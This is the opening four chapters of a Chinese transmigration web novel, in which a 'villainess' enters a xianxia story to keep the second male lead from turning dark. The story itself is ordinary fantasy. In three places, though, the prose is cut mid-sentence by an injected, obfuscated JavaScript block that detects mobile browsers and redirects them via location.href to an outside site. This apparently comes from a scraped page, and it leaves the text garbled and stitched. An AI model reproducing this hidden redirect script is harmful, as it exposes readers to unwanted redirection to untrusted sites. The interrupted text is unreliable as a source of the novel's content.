《今天和男二斗嘴了吗》 1. 第 1 章 九月下旬,久雨初晴。 市集蒸腾的烟火气里,小贩的吆喝声混着茶摊沸水咕嘟作响。几个布衣百姓围在告示榜前,对着上面被雨水泡皱的画像指指点点。 "说起来,噬渊谷那位百里湘小姐失踪整一个月了。" "谷主发了千城令,悬赏三千灵石加一株…一株啥来着?" "帝屋山的祝余草。"书生插话,"《山海经》有载,食之可不饥,解百毒。可惜啊……" 他瞥向街角几个修士打扮的身影。 "自从十年前四凶精魄逃逸,仙门逐渐败落,凑得齐盘缠的都没几个。" 连翘顺着他的视线望去—— 青石墙根下,三道身影浸在晨雾中。 青石墙边立着块"除恶消灾,五灵石一次"的木牌。白衣青年抱剑而立,霜雪般的眉宇凝着寒芒;他身旁鹅黄襦裙的少女数了数荷包里零星的铜板,有些苦恼地叹口气。 三人中最扎眼的是倚在枯树上的少年,他懒散地把玩着腰间铃铛,一身竹青色外衫充满鲜亮活力,像是在渐浓的秋意中兀自绽放的一个春天。 修士的五感比常人敏锐,书生话语音量的刻意压低只能起到掩耳盗铃的作用。 白衣青年的眸光闻声更冷厉了几分,吓得两个想搭讪的姑娘扭头就走。 "穷成这样还摆谱。"连翘咬碎糖葫芦在脑内吐槽,“这脸皮比剑刃都薄,想靠服务业赚钱得下辈子了吧。” 【那是男主!】系统急道。 “噢,我知道啊。” 连翘漫不经心擦掉指尖糖渍,从三人的标志物——昆仑玉剑穗、补天石手链和腰间铃铛上一一点过。 "谢凛,叶望舒,谢无咎——《补天诀》主角团。" 穿书管理局打工十年,这是她最后一个任务,完成之后即可功成身退,光荣退休。 【那你还在这儿不动?快找个理由接近他们。】 “我知道你急,但你先别急。”连翘慢悠悠道,“陪我再复盘一遍剧情。” 毕竟机会是留给有准备的人的。 她眼下所处的世界,是一本叫《补天诀》的小说。 书中讲,上古时期烛龙以双目化日月,以脊柱化天柱,支撑天地、镇压四凶。 十年前,仙门镇守不力,致使天柱崩塌,浊气裂缝中逃出四凶精魄。 镇厄宗负责镇压四凶之一的梼杌,在梼杌复苏后整个宗门被血洗,只留下身为首徒的男主谢凛和师弟谢无咎。 在师兄弟追寻梼杌下落的旅途中,他们遇到了拥有补天石的女主叶望舒,遂三人同行。 拥有悲惨身世的冰山男主和乐观开朗的小太阳女主,少年少女并肩行走天涯,振兴仙门,如此典型的组合和正能量的情节,很难不好嗑。 然而在这本书中,真正让读者念念不忘的,却是那个永远站在谢凛阴影里的师弟——谢无咎。 他是男主的对照组。 谢凛寡言,他便妙语连珠;谢凛冷峻,他便笑眼盈盈。 在主角团跋山涉水的旅途中,这个总能用三言两语逗笑全队的少年,仿佛永远浸在蜜糖罐里,是主角团中的开心果。 也是一个演技极佳的白切黑。 他嫉妒谢凛,渴望抢夺谢凛所拥有的一切,包括女主叶望舒,最后理所当然地失败了,然后彻底黑化,以身献祭梼杌,成为了最后一个被男女主镇压的四凶精魄。 而连翘扮演的角色,是整本书里最讨人嫌的炮灰女配。 原著中的"连大小姐"堪称教科书式的恶女:害女主、抢男主、诬陷男二,甚至还暗中放跑主角团已收服的四凶精魄。 最终在黑化谢无咎的刀下,她死得轻如鸿毛,连句完整遗言都没留下。 连翘这次来,主要有两个任务。 任务一:阻止美强惨男二谢无咎黑化,避免其堕魔被杀。 任务二:严格遵循原主人设,在必要节点推动主线剧情发展,任何OOC行为都将导致任务失败。 让一个本就三观不正的人,去救赎另一个歪到泥里的家伙,怎么想都有一种学渣辅导学渣,骗子遇上小偷的戏剧感。 更何况,修士行走天下,驱动法宝所凭借的是一种名为曈昽的特殊能量。 连翘穿越来之后就确认过,这具身体不能说是天赋秉异,只能说是废材一个。 她完全感应不到任何一点曈昽的气息。 换句话说,主角团随便哪个人想要掐死她,都像掐死一只小鸡一样容易。 "冒着这么大的风险就奖励500积分,除了我还有谁会接你们这破任务。"她冷声吐槽。 系统明智地保持了沉默。 日头渐高,晨雾散去。 早市的喧嚣即将到达尾声,叶望舒拽了拽谢凛的衣袖,小声道:"阿凛,要不我们改日再来……" 【宿主!再不去就真的来不及了!】 【想想痛觉惩罚——】 她之所以一路紧赶慢赶,一定要在这个镇子追上主角团的脚步,就是因为按照原主人设,她需要在这个时候登场,加入主角团,成为那个每天对着谢凛冒星星眼以体现男主光环的女配,开启此后的旅途。 连翘将最后一颗山楂咬碎,随手把竹签一扔,大步朝三人走去。 "喂。"她一脚踩住那块"除恶消灾"的木牌,扬起下巴看着他们,"有没有兴趣做个交易?" 她的动作粗鲁无礼,谢凛眸光一冷,手已按在剑柄上。谢无咎却笑吟吟地直起身,银铃随着他的动作清脆作响: "这位姑娘有何指教?" "指教谈不上。"连翘弯唇,指了指一旁的告示榜,"只是我和你们的目的一致,都是为了那个人。" 叶望舒眼睛一亮:"姑娘知道百里小姐的下落?" "不知道。"连翘干脆利落地回答,然后在三人错愕的目光中,拍了拍手。 两个仆从抬着一口沉甸甸的箱子走来,重重放在地上。箱盖一掀,灵石的光芒几乎晃花了三人的眼。 "但我有钞能力,我超级有钱。"连翘一脚踩在箱子上,像一只骄矜的豹子,"带我去找她,这些归你们。" 谢凛眉头紧锁:"但你不是修士。" "所以呢?" "这一趟必然凶险异常,如果没有曈昽护体,很容易丧命。"叶望舒担忧道。 连翘嗤笑一声,从腰间解下一个锦囊,倒出几颗流光溢彩的珠子和符纸:"避水符、回春丹、神行符...够不够保我小命?" 如今仙门落魄,这些灵药法宝只要有钱就能买到。 谢无咎把玩着银铃,忽然开口:"姑娘为何如此好心?" 他眯起眼睛,狐疑地打量过少女全身,"你的要求是什么?" 连翘勾唇一笑:"灵石归你们,我要那株祝余草。" 三人俱是一愣。 "怎么?"连翘挑眉,"舍不得?" 谢凛冷声道:"祝余草是任务报酬,本就……" "本就是谁找到归谁。"连翘打断他,"我出钱,你们出力,很公平。" 她环顾四周,压低声音,"再说了,就凭你们三个穷酸修士,连路费都凑不齐,怎么去找百里湘?" 话糙理不糙,她虽然说的刻薄了些,但确实无可辩驳。 谢无咎笑出声来:"有意思。"他看向谢凛 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15375243|168305||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,"师兄,我觉得这买卖不亏。" 叶望舒犹豫道:"可是……" "没什么可是的。"连翘合上箱子,"要么收钱办事,要么继续在这儿摆摊。" 她用上了过去砍价时练就的绝活,转身作势要走,"我数到三——" "一。" 谢凛握剑的手紧了紧。 "二。" 叶望舒咬了咬唇。 "三。" "成交。"谢无咎一把按住箱子,眼睛弯起来,笑眯眯道,"姑娘,合作愉快。" “好嘛,合作愉快。” 连翘回头,看了看谢凛冷若冰霜的神情,只觉得这人浑身上下都写着“此人很冷,不给联系方式”,而自己就要对着这样一张臭脸犯花痴…… 这年头当个恶毒女配也太难了吧,要不是为了退休…… 她突然灵光一闪,敲了敲系统。 “你说我要是现在就表现出爱慕谢凛,算不算任务进度?毕竟原著里连大小姐就是一见钟情的嘛!” 【理论上……】 系统迟疑道。 【只要每48小时能监控到你有一次爱慕男主的行为或言语即可】 “那就这么愉快地决定了!” 连翘在心里打了个响指。 “先把这两天的进度刷了,看我的即兴表演~” 她脸上顷刻挂起甜得发腻的笑容,手指精准地勾住谢凛的剑穗,动作熟练得仿佛排练过千百遍。 毕竟在穿书管理局打工十年,这种戏码她早就驾轻就熟了。 “但既然是我出的钱,这位仙长——” “跟我住一间房怎么样?” 昆仑玉剑穗在她指尖打了个转。 谢凛瞳孔骤缩,声音比剑锋还冷。 "姑娘自重。" 连翘恍若未闻,反而凑得更近。指尖顺着剑穗往上爬。 "嫌少了的话……你开个价?" 【叮——】 任务成功的清脆提示音和山河剑在剑鞘中的铮鸣同时响起,叶望舒慌忙按住谢凛手腕:"阿凛别冲动!" 谢无咎终于没忍住,"噗嗤"一声笑出来。 连翘转头看他,愣了一愣。 谢无咎的笑容在晨光中格外耀眼。 他生得一副好皮相,眉如远山含黛,眼似秋水横波。竹青色的外衫衬得他肤白如玉,整个人像是从画里走出来的。 若不是她早知道这家伙切开是个黑心的,此刻怕是也要赞一句"风流倜傥此间少年"。 连翘盯着他看了片刻,突然伸手捏住他的下巴:"小郎君笑得这么甜,是想自荐枕席吗?" 【宿主……】 系统的声音充满无奈。 【任务里好像没有这一part。】 “男人嘛,调戏一个是调戏,调戏两个也是调戏,不在乎多这一个少这一个的。” 连翘毫不在意。 “我们富婆的池塘里当然有很多鱼啦,在一棵树上吊死才比较不合常理吧?” 谢无咎被她突如其来的动作弄得一怔,眼中猝然闪过一抹冰冷杀意。连翘死撑着没收回手,捏着少年的小尖下巴与他坦然对视。 半晌,他笑道: "姑娘误会了,在下生性爱笑。" "呵,男人。" 连翘松开手,抱臂而立,绣着金线的衣袖在阳光下闪闪发亮。 她挑起眉毛,歪嘴一笑。 "爱上本小姐,你勿需自卑。" 谢无咎:"……" 叶望舒:"……" 谢凛:"……" 空气凝固了一瞬。 2. 第 2 章 曾经仙门镇守四方,受万民供奉,镇厄宗、噬渊谷、正法殿、归墟宗作为仙门魁首,肩负镇压四凶之责。 可惜十年前四凶精魄破封,仙门无力阻挡,自此威信尽失。 如今连噬渊谷谷主之女失踪,也不过是市井闲谈的佐料。 主角团三人一路循着线索过来,最终打探到的消息是,百里湘最后出现的地方位于此地再往西南去十里,一个绵延青山脚下的破旧村落。 “落神村。” 谢凛把此前勾画的地图摊开来,指着上面用朱砂标注的红点,言简意赅地解释。 “一个鲜为人知的村落,我们认为百里湘一定是在那里遭遇了毒手。” “除了我们之外,还有修士也在往那边赶。”叶望舒指尖轻点图上墨绿水域,补充道:"但无渡泽阻了九成修士。" 无渡泽终年阴雨,水下藏着专吃修士的雨童,据当地村民所说,只有乘坐雷击木所造的渡厄舟才能安然抵达对岸。 这样的小舟,一百灵石一位。 而绝大多数的修士,都是穷光蛋。 这也是为什么,连翘能依靠一箱灵石成功地加入主角团。 湿冷的雾气笼罩着无渡泽,连翘裹紧了价值不菲的狐裘,还是被渗入骨髓的寒意激得打了个喷嚏。 她面前那艘所谓的渡厄舟看起来比连家最破的马车还要寒酸——船身布满青苔,船篷上补丁摞着补丁,活像块发霉的棺材板。 谢凛检查完船体,微不可察地点了点头。 叶望舒从灵石箱子中数出四百灵石交给船夫,担忧地望向墨绿色的水面: "雨童是什么妖怪?" "《荒异志》有载,"谢无咎倚着桅杆,银铃在潮湿的空气中发出沉闷的声响,"雨童两百多年前开始出现,形如幼童,遇水则隐,最喜在暴雨天拖人下水。沾染上它血迹的人会…" 他忽然转向连翘,笑容灿烂得可疑。 "浑身长满鱼鳞,七窍流脓而死。" 连翘翻了个白眼:"吓唬谁呢?" 她故意大步走向船头,绣着金凤的裙摆扫过积水的甲板。 "雨童专吃修士,本小姐又不是——" 话音未落,船身猛地倾斜。一道灰影从水下窜出,冰凉黏腻的小手抓住了她的脚踝。连翘还没反应过来,整个人已经栽进刺骨的湖水中。 【任务二,阶段一任务已开启】 系统播报。 【请宿主被雨童挟持,引导主角团发现水下宫殿】 水面闭合的刹那,连翘听见叶望舒变调的惊呼。 她在浑浊的水中睁开眼,对上一张惨白的孩童面孔——没有瞳孔的眼睛占据半张脸,裂到耳根的嘴里布满细密的尖牙。 雨童冲她诡异地笑着,拽着她不断下沉。 肺部的灼烧感愈演愈烈,连翘摸向腰间锦囊。指尖刚触到避水符时,竹青色身影就破水而入。 谢无咎的长发在水中散开,像一匹上好的绸缎。他指尖凝聚着晃动的蓝色火焰,精准刺向雨童眉心。 妖怪吃痛松手,突然调转方向扑向谢无咎。 连翘趁机浮上水面,刚扒住船边就听见谢凛冷喝:"别动!" 不动是不可能的。 原本应贴着她耳际划过的雪白剑光在姑娘脸侧划出一道血线,好在叶望舒用腕间金丝将连翘身后试图偷袭的雨童箍在了船板上。 墨绿色血液喷溅得遍地都是,腥臭难闻。 连翘抹了把脸,避开地上的血站起身,转头发现谢无咎还没上来。 水面泛起不正常的涟漪,她心头一跳——原著提过,雨童是群居妖怪,水下至少还有十几只。 但是原著没有提过谢无咎这么乐于助人呀? 她思绪转得飞快,以男二的身手,要摆脱雨童的纠缠只是时间问题。还是得手无缚鸡之力的她去了,才能完成任务。 可水面上涟漪片片,她普普通通凡人一个,现下连雨童在哪与男二缠斗都看不出。 "兄弟,"她一把扣住谢凛没拿剑的手,将手中的东西塞入对方掌心。谢凛一怔,摸到颗赤红如火的珠子。 "这是…" "赤火丹,专克水属妖怪,需要注入曈昽才能使用。" 连翘压低声音,咬牙切齿道。 "便宜你了,扔水里,快!" 谢凛来不及多想,奋力将珠子掷向涟漪中心。湖面轰然炸开数丈高的水柱,几只雨童在红光中尖叫着化为青烟。 弥散的水雾中,谢无咎的身形显露出来,他正被四五只雨童缠住,指尖的蓝焰被水汽削弱了些,但动作仍旧敏捷。 逮到你了。 眼看谢无咎眉宇闪过一丝不耐,就要双手结印轰开缠在身侧的妖怪,连翘眼中酝酿起做作的泪光。 “天哪,他为了救我居然这么拼命!” 谢凛皱眉:“他只是在……” “不!”连翘打断他,声音颤抖,“虽然我不喜欢他,但这份恩情太重了!” 她提起裙摆,一副要英勇就义的表情。 “我们这种雌鹰般的女人,是不能眼睁睁看着别人为自己送死的!” 送死?谁? 眼看就要把雨童轰回老家的谢无咎吗? 谢凛:??? 他愣了愣,下一秒身侧的姑娘就像一梭灵活的银鱼,助跑两步精准地扑向了正处在缠斗中的谢无咎。 少年的动作被她打断,整个人猝不及防,被腰上的重量拖着坠入了更深的水中,两个人在水面溅起巨大的水花。 连翘死死搂住谢无咎的腰,如同坐跳楼机一样视死如归地闭上双眼。水流突然剧烈旋转。无数苍白的手臂从黑暗处伸出,推着二人穿过一道看不见的屏障。 "砰!" 她摔进一处干燥的空间,后背撞上柔软的肉垫。睁眼时,四周竟是一座破败的水底宫殿。半透明的穹顶外游弋着发光的鱼群,将殿内映得幽蓝诡异。 谢无咎就躺在她身下,银铃滚落在一旁。 他双眼紧闭,唇边溢出一丝血迹,显然是刚刚那一下被她撞得不轻。 连翘刚要起身查看,突然被一股蛮力掀翻。 她整个人天旋地转,这次是实打实撞在了坚硬的地板上,谢无咎的面庞近在咫尺,薄唇微张,露出两颗尖锐的犬齿,那双总是含笑的桃花眼此刻猩红如血,眼尾染着一抹不自然的红晕。 ——这完全不像是属于人类的眼睛,红得就像是下一秒可以滴出鲜血。他的瞳孔缩成危险的竖线,嘴角咧开不自然的弧度,是从地狱爬出来的艳鬼。 "找到…祭品…"他声音嘶哑,不复平日里的清朗。 连翘舔了舔嘴皮。 "血…"他喃喃自语,目光落在少女脸颊被剑光划出的伤口上,"需要血…" 野兽一样的状态,断断续续的言语,比起乐于助人的三好少年,这才比较符合原著中谢无咎阴鸷疯批的白切黑人设嘛。 与此同时,系统的警报在连翘耳边拉响—— 【警告!警告!检测到任务目标谢无咎黑化值已达到:40%,请立即采取干预措施】
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15375244|168305||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 她清清嗓子,捏住手里早就备好的东西,试图交涉: "小谢同志,你还能听见我说话么?" 少年充耳不闻,猛地扑上来凑近她的侧脸。 他力气大得惊人,单手就扣住了她两只手腕。另一只手抚上她的脖颈,那指尖冰凉得不像活人,像条毒蛇在游走。 "好甜的味道……"他像犬类一样嗅了一下,"给我血…" 连翘挣了挣,发现完全动弹不得,柔声问:"你想喝我的血?"她杏眼微挑,偏过头去,露出纤细的脖颈,那线条优美的颈项在昏暗的光线下如同上好的羊脂玉。 谢无咎的呼吸骤然粗重,喉结滚动了几下。 可偏偏少女缩起脖子,挑衅道: “那你求我啊?” 少年充斥着暴戾与狂躁的目光顿了顿,细成一道竖线的瞳孔略微涣散了下,像是很费力地在理解她的话。 “求我啊,求我就给你喝血。” 连翘继续诱哄。 血液的美味程度取决于主人的意愿,在她不想的时候,谢无咎就算强制性地喝到嘴里也只会像冷掉的中药一样难以下咽,她一点都不担心会被拒绝。 半晌,少年断断续续地哑声道。 “求…求你……” “好哦,”连翘歪过脑袋,大方道,“喝吧。” 话音未落,谢无咎已经低头咬住了她的肩膀。 "嘶——我就说你不是什么正经人吧?"连翘疼得倒抽冷气,却强忍着没推开他。她能感觉到犬齿刺破皮肤的痛楚,温热的血液顺着锁骨流下。 谢无咎像是尝到了什么美味,喉结滚动,吮吸得更用力了。 时间一分一秒地流淌过去,连翘额角已然渗出冷汗,脸色微微泛白。等到系统播报当前黑化值回落至20%时,她才终于笑出声来: "谢无咎,吃饱了吗?" 少年动作一顿。 "吃饱了就从我身上起开!看看你现在什么德行!" 她揪住他的头发,强迫他抬头。 "堂堂镇厄宗弟子,居然像个野兽一样咬人?要是当年镇厄宗的人还活着,他们会怎么看你?" 不知哪句话触到了少年的神经,谢无咎瞳孔微颤,猩红稍褪。 连翘趁机翻身坐起来,将手中捏了半天快要捂化的丹药一把塞进少年嘴里,给了他一拳强迫他咽下去。 谢无咎喉结滚动,被迫咽下那颗带着体温的丹药。几乎是瞬间,他眼中血色尽数褪去,神智骤然清明。 "你——"他猛地掐住连翘的脖颈,另一手已掏出匕首,"给我吃了什么?" 连翘不躲不闪,任由冰冷的刀刃贴上自己动脉:"回春丹啊。" 她笑得眉眼弯弯,浓密的睫毛像小扇子般扑闪。 "外加一点…小惊喜。" 匕首刺破皮肤的刹那,谢无咎自己颈侧突然传来尖锐刺痛。他瞳孔骤缩,摸到自己脖颈上一粒朱砂似的红珠。 "共生蛊。"他咬牙。 “那当然,”连翘指尖轻点自己肩头的齿痕,那处伤口在雪白的肌肤上格外醒目,"你该不会以为,我好心到单纯喂你回春丹吧?现在开始——" "我伤即你伤,我痛即你痛。" 谢无咎眼底杀意翻涌,匕首却再难推进半分。他清晰地感觉到,连翘脖颈渗出的每一滴血,都化作灼烧般的疼痛反馈在自己身上。 “噢,还有……” 她突然凑近,呼吸拂过他染血的唇。 "离开我太远的话,你会死哦!” 3. 第 3 章 幽蓝的光线透过半透明穹顶洒落,将整座宫殿映照得如同沉在深海中的巨大琥珀。两个心怀鬼胎的人达成了短暂的和平,在附近转了一圈打探情况。 连翘的手腕被谢无咎一把扣住时,条件反射地想去摸腰间的香囊。 “你干嘛——”她话音未落就被少年拽到身侧,绣鞋险险地擦过一截森白指骨。 “眼睛不要可以捐给雨童,”谢无咎嗓音低哑,拉着她往旁边走了两步,“它们至少知道避开死人的东西。” 连翘甩了甩手腕,向前看去,整片地面竟布满了无数细小的、看不出是什么部位的骨头,在幽蓝光线下泛着诡异的青白色。 “这是……”她迟疑道,“之前遇害的修士的骨头?” 谢无咎捏起地上的骨头细细端详了一下,语气恢复了平日那种漫不经心的调子。 “不太像,”他说,“太小了,像是孩子的骨头。” “你怎么连这都知道?”连翘凑过来,看了两眼就撇过头去。 谢无咎继续往前走,踢到个圆滚滚的东西——是一个小小的颅骨。 少年将颅骨转向她:“看这里,骨壁薄如蝉翼,囟门未完全闭合。" 他翻转颅骨,指腹摩挲着细密的骨缝纹路。 "齿列仅见乳臼齿,恒齿尚未萌出——约莫六七岁的孩童。" “……哇哦。”她夸张地捧读,“你们镇厄宗还教这个?” 谢无咎轻笑:“教怎么认骸骨?不。”他随手抛弃颅骨又接住,“教的是怎么让敌人变成骸骨。” 他将手里的颅骨放回原位,四处查看了下,最后皱着眉头道: “奇怪了,看上去这些都是孩子。” 作为一个正常人,连翘还是做不到站在一堆骨头的中央还能保持淡定,而好巧不巧,她紧张的时候话就会变得特别多。 “孩子,多大的孩子?这么多全是孩子么?” 谢无咎正要回答,宫殿上方突然传来一声闷响。两人同时转头,只见穹顶外的鱼群惊慌逃散,有什么东西正在撞击半透明屏障。 "雨童进不来。" 谢无咎眯起眼睛,指向穹顶边缘。 数十只惨白的小手正扒在屏障外,却像被烫到似的不断缩回。 "而且它们在害怕。" 她下意识接道:“怕什么?怕你这种连小孩骨头都要研究的变态么?” “不是,”谢无咎飞快地答,“是怕这宫殿里住着的东西,一股很强大的气息,我一进来就感觉到了。” “那你不早说——!” “你也没问啊。” 行,连翘咬牙,不过是任务让她来的地方,定然是不简单的,她早有准备。 可是与生俱来对这种黏黏腻腻的水生生物的恐惧让她没法停下自己的嘴,抖着声音继续问: “……你怎么知道他们在害怕?” “直觉。” “噢,直觉,男人的直觉一般都不太可信吧?” 谢无咎轻笑一声,快到连翘来不及分辨其中意味,只听他道: “可我的直觉准得很呐,第一次见你的时候,我就知道你不是什么好东西。” 连翘:“?” 半秒后,她破防了。 "不是,兄弟,你的直觉怕不是拼多多9毛9包邮的吧?"她一把薅住谢无咎的衣领,"第一次见面就觉得我不是好东西,您搁这儿玩狼人杀呢?" 谢无咎被她拽得踉跄一步,银铃叮当乱响:"松手。" "松手——?"连翘阴阳怪气地拖长声调,“我就不!” 她踮脚凑近谢无咎的脸。 "来,看着姐姐的眼睛再说一遍——我、哪、里、不、像、好、人?" 谢无咎垂眸看着这个炸毛的姑娘,半晌,笑了下。 “好了,现在不怕了?” 没等连翘反应过来,他又突然收敛了笑意,目光越过连翘肩头,落在穹顶外那些疯狂撞击屏障的雨童身上,声音沉了下来: “差不多就是这么大的吧。” “什么?”连翘迷茫,顺着他的视线往上望去。 雨童茂密的头发像海藻一样在水流中浮动,正用额头整齐划一地撞击着透明屏障,纵使皮肤溃烂冒出轻烟也没有停止。 “哇,”她搓着手臂上的鸡皮疙瘩感叹,“好让人羡慕的发量。” 又转头,像是才意识到谢无咎没有回答她一样追问。 “你刚刚说什么?什么差不多就是这么大?” 少年把玩着手中小巧的指骨,道。 “你方才不是问这是多大孩子的骨头么?大概,就像那些雨童那么大吧。” 雨童撞击屏障的声音仍在有节奏地持续着。 "我们得快点找出口。"不等连翘回答,谢无咎就走回原处捡起银铃系到腰间,他环顾一圈,"这地方不对劲。" 确实不对劲。 连翘跟着他穿过曲折的回廊,发现整座宫殿的建筑风格根本不像是人类所造。 回廊入口处左右各摆放着一个人头鱼身手持三叉戟的石像,石像脸部共有十几双眼睛,瞪得都像铜铃一样大。墙壁上镶嵌的并非寻常明珠,而是一个个外形像贝壳的壁灯,投下的光影轻轻晃动。 藻类在二人头顶织成诡异的网状结构,就像是久未有人居住的屋子房梁会结满蜘蛛网。 她突然被什么东西绊了一下,低头看去,发现地面铺着的地砖竟然在微微翕动,砖缝有频率地张合着。 “谢无咎……”她压低声音,“这些地砖好像在呼吸……” 少年脚步一顿,银铃震颤起来,他蹲下身,指尖凝聚出一簇幽蓝火焰,照亮了地砖缝隙里粘稠的液体。 “不是地砖。” 他声音发紧。 “这是鳞片,这是个活的东西。” 连翘顿时觉得头皮发麻,绣鞋下的鳞片突然变得温热起来。她强忍着恶心跟上谢无咎,才发现墙壁上镶嵌的贝壳灯也正以诡异的频率开合,幽光一闪一闪地照在二人脸上。 “这些贝壳也在动……”连翘咽了咽口水,“怎么感觉看起来这么像眼睛……” 不知道是不是她的错觉,贝壳灯发出的幽光好像在随着他们的移动而转动,仿佛一直静静地注视着他们一样。 谢无咎突然笑了:“有意思。” 他故意在连翘面前来回走动,看着那些光晕同步转动。 “不是你的错觉,是真的在看着我们。” “你能不能别玩了?”连翘拽住他的衣袖,恨不能闭上眼睛,“我鸡皮疙瘩都起来了。” 这是什 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15375245|168305||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 么地方,这是密集恐惧者的地狱。 少年却饶有兴致地凑近一个贝壳灯,将手中银铃化成匕首: “你说……它们受伤了会不会流泪?” 话音刚落,他就手起刀落将匕首刺进去,一股腥臭又粘稠的液体噗呲一声从贝壳灯的光晕中喷溅出来,直直冲着连翘现在站立的地方。 绿色的、难闻的、胶状的液体。 “谢无咎我操你大爷!”连翘像是一只灵活的猎豹,敏捷地跳过来抱住他的胳膊,整个人几乎挂在他身上。 谢无咎被她拽得踉跄两步,笑声在空旷的回廊里显得格外清亮:“大小姐也有害怕的时候?” “这是正常人的生理反应好吗!”连翘松开手,强装镇定地整理衣襟,“真的很恶心啊,我最讨厌这种黏糊糊的东西了。” “既然这样的话,就快些走吧,看看能不能找到出去的地方。如果实在摸索不到出口,就只能试着打破上面那层透明的屏障了。” “你是说把雨童挡在外面的那个?” “嗯。”谢无咎应了一声,简短地解释道,“那一看就是阵法形成的,而如今阵法已经很衰弱了。” 连翘抬头去看,上方雨童还在锲而不舍地撞击着半透明的屏障,在整个宫殿里回荡着有节奏的闷响。她跟在他身后,一步也没有落下,飞快地向前走去。 这个只值500积分的任务给出的线索相当简单,除去书中人物的大致人设外,并没有什么其他对当前情况有帮助的信息。而系统也从方才开始,就好像掉线了一样一声不吱。 也不知道男女主什么时候才能找到他们,但既然任务要求她拖主角团后腿,发现这座水下宫殿,就一定是因为此处存在有价值的线索。 连翘一双眼睛不安分地东张西望,看久了便有些脱敏,偶尔和贝壳灯对视上还能吐着舌头做个鬼脸。 突然,转过弯角的时候,她停下了脚步。 墙角处有一堆积灰的碎瓷片,在整座风格诡异的宫殿中显得格外正常,是为数不多看上去来自人类世界的东西。 "你看这个。" 她蹲下身,在碎瓷片中翻翻捡捡,挑出一块比较完整的轮廓,上面绘制的女子神色平和,头戴冕旈、身着霞帔、手执如意。 她拼命回想自己在穿书管理局看过的那些风俗图谱。 "这是海神娘娘妈祖的画像。” 谢无咎蹙眉,用脚尖拨开其他碎片,露出一截断裂的麻绳。 绳结很特殊,是船夫们惯用的"渔人结"。 两人对视一眼,同时想到了那个收了四百灵石的摆渡人。 “这么一想,着实奇怪。” 连翘回忆着。 “我们明明乘坐的就是渡厄舟,你师兄也检查过船体是用货真价实的雷击木制造的,为什么会还没出海就被袭击了呢?我们和雨童缠斗的时候,这个摆渡人就消失不见了,怎么看她都有点问题吧?” 她话音未落,雨童撞击声骤然停止,远处传来更加巨大的水波震荡的声响。 谢无咎一把捂住她的嘴,带着她闪到一根倾倒的石柱后。 连翘的后背紧贴着他胸膛,能清晰感觉到对方突然加速的心跳。 "别出声。"少年温热的呼吸喷在她耳畔,声音压得极低,"有东西醒了。" 4. 第 4 章 明媚的蓝色火焰笼罩在紧贴在一起的少年少女外围,连翘手臂死死地靠着身体,后背能感受到谢无咎胸膛传来的温度。 这是原著中谢无咎的标志性法术三叠离火,第一叠深蓝色火焰温度很低,但有隔绝气息的神奇功效。 不管是什么东西苏醒,只要不是四凶那种级别的存在,应当都无法察觉到他们了。 只是三叠离火隔绝了外界的气息,却让彼此身上的温度愈发鲜明。谢无咎的呼吸喷洒在她耳畔,带着少年特有的温热。 很痒,连翘控制不住地抖了一下。 “别动。” 谢无咎的声音压得极低,唇瓣几乎擦过她的耳垂。 连翘这才意识的自己的手正无意识地抓着他的衣袖,指节都因用力而发白。 就在这僵持的瞬间,穹顶突然传来“咔嚓”一声脆响。 半透明的屏障缓缓裂开,原本聚集在那里的雨童瞬间四散奔逃。然而还是有两只动作稍慢了些——苍白的小手刚离开洞口边缘,就被一只横空而来的三叉戟钉住。 连翘的瞳孔骤然收缩。 那两只雨童在被触碰的瞬间,就像被高温灼烧的蜡像般迅速融化。 他们没有瞳孔的巨大眼睛里还可以看出惊恐的情绪,整个身体却已经化成一缕青烟,消失在了浑浊的水流中。 三叉戟在湖水中划出一道凌厉的弧线,稳稳落入主人的掌中。 那是一条足有渡厄舟三倍长的怪鱼——上半身是皮肤黝黑的人形躯干,下半身却是遍布青色鳞片的硕大鱼尾。 最令人毛骨悚然的是它那张巨大的面孔,数十只泛着幽绿光芒的眼睛密密麻麻地排列着。 活脱脱就是二人方才经过的回廊入口处那些石像的翻版。 而这样的怪鱼,抬眼望去,起码有数十条之多。 他们如同训练有素的士兵一样,用手中的三叉戟整齐划一地敲击着已经存在洞口和细小裂缝的屏障。 连翘注意到,这些屏障像是拥有自我修复的能力。 每当被砸出一道裂缝,屏障表面就会泛起涟漪般的波纹,试图将破损处重新弥合。 但是怪鱼们的攻击速度显然更胜一筹,屏障上的裂隙正以肉眼可见速度不断扩大。 千钧一发之际,宫殿深处突然亮起一抹红光,原本已经千疮百孔的屏障突然迸发出一道强有力的冲击波,将所有的怪鱼都击退到几尺开外。 怪鱼们面面相觑,就在连翘担心他们会继续攻击屏障,都准备偷偷摸出避水符保命的时候,它们居然尾巴一甩,消失在了二人的视野中。 